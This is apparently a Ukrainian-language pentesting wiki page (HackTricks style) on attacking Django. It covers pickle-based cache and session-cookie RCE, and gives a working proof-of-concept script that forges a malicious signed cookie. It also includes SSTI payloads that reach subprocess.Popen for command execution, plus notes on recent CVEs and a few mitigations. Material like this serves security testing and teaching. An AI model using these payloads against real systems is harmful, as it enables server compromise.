# Django {{#include ../../banners/hacktricks-training.md}} ## Маніпуляція кешем для RCE Метод зберігання кешу за замовчуванням у Django - це [Python pickles](https://docs.python.org/3/library/pickle.html), що може призвести до RCE, якщо [недовірене введення буде розпаковано](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо зловмисник може отримати доступ на запис до кешу, він може ескалувати цю вразливість до RCE на базовому сервері**. Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [пам'яті](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [файлах](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) або [базі даних](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, збережений на сервері Redis або в базі даних, є найбільш ймовірними векторами атаки (впровадження Redis та SQL-ін'єкція), але зловмисник також може використовувати кеш на основі файлів, щоб перетворити довільний запис у RCE. Підтримувачі позначили це як незначну проблему. Важливо зазначити, що папка файлів кешу, назва таблиці SQL та деталі сервера Redis можуть варіюватися в залежності від реалізації. Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436 --- ## Ін'єкція шаблонів на стороні сервера (SSTI) Мова шаблонів Django (DTL) є **тюрінг-комплектною**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повної SSTI → RCE. ### Виявлення 1. Шукайте динамічні виклики до `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* неочищені дані запиту. 2. Надішліть навантаження на основі часу або арифметики: ```django {{7*7}} ``` Якщо відображений вихід містить `49`, введення компілюється шаблонним двигуном. ### Примітив до RCE Django блокує прямий доступ до `__import__`, але граф об'єктів Python доступний: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` Знайдіть індекс `subprocess.Popen` (≈400–500 в залежності від версії Python) та виконайте довільні команди: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` Більш безпечний універсальний гаджет - це ітерація, поки `cls.__name__ == 'Popen'`. Той же гаджет працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача. --- ## RCE через куки сесії на основі Pickle Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *розшифровує та розпаковує* куки сесії **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду. ### Вимоги до експлуатації * Сервер використовує `PickleSerializer`. * Зловмисник знає / може вгадати `settings.SECRET_KEY` (витоки через GitHub, `.env`, сторінки помилок тощо). ### Доказ концепції ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer from django.core import signing import os, base64 class RCE(object): def __reduce__(self): return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker. **Заходи пом'якшення**: Залишайте за замовчуванням `JSONSerializer`, змінюйте `SECRET_KEY` та налаштовуйте `SESSION_COOKIE_HTTPONLY`. --- ## Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери * **CVE-2025-48432** – *Введення журналу через неекранований `request.path`* (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2. * **CVE-2024-42005** – *Критичне SQL-введення* в `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8. Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це застосовно. --- ## Посилання * Випуск безпеки Django – "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" – 4 червня 2025 року. * OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" – 11 серпня 2024 року. {{#include ../../banners/hacktricks-training.md}}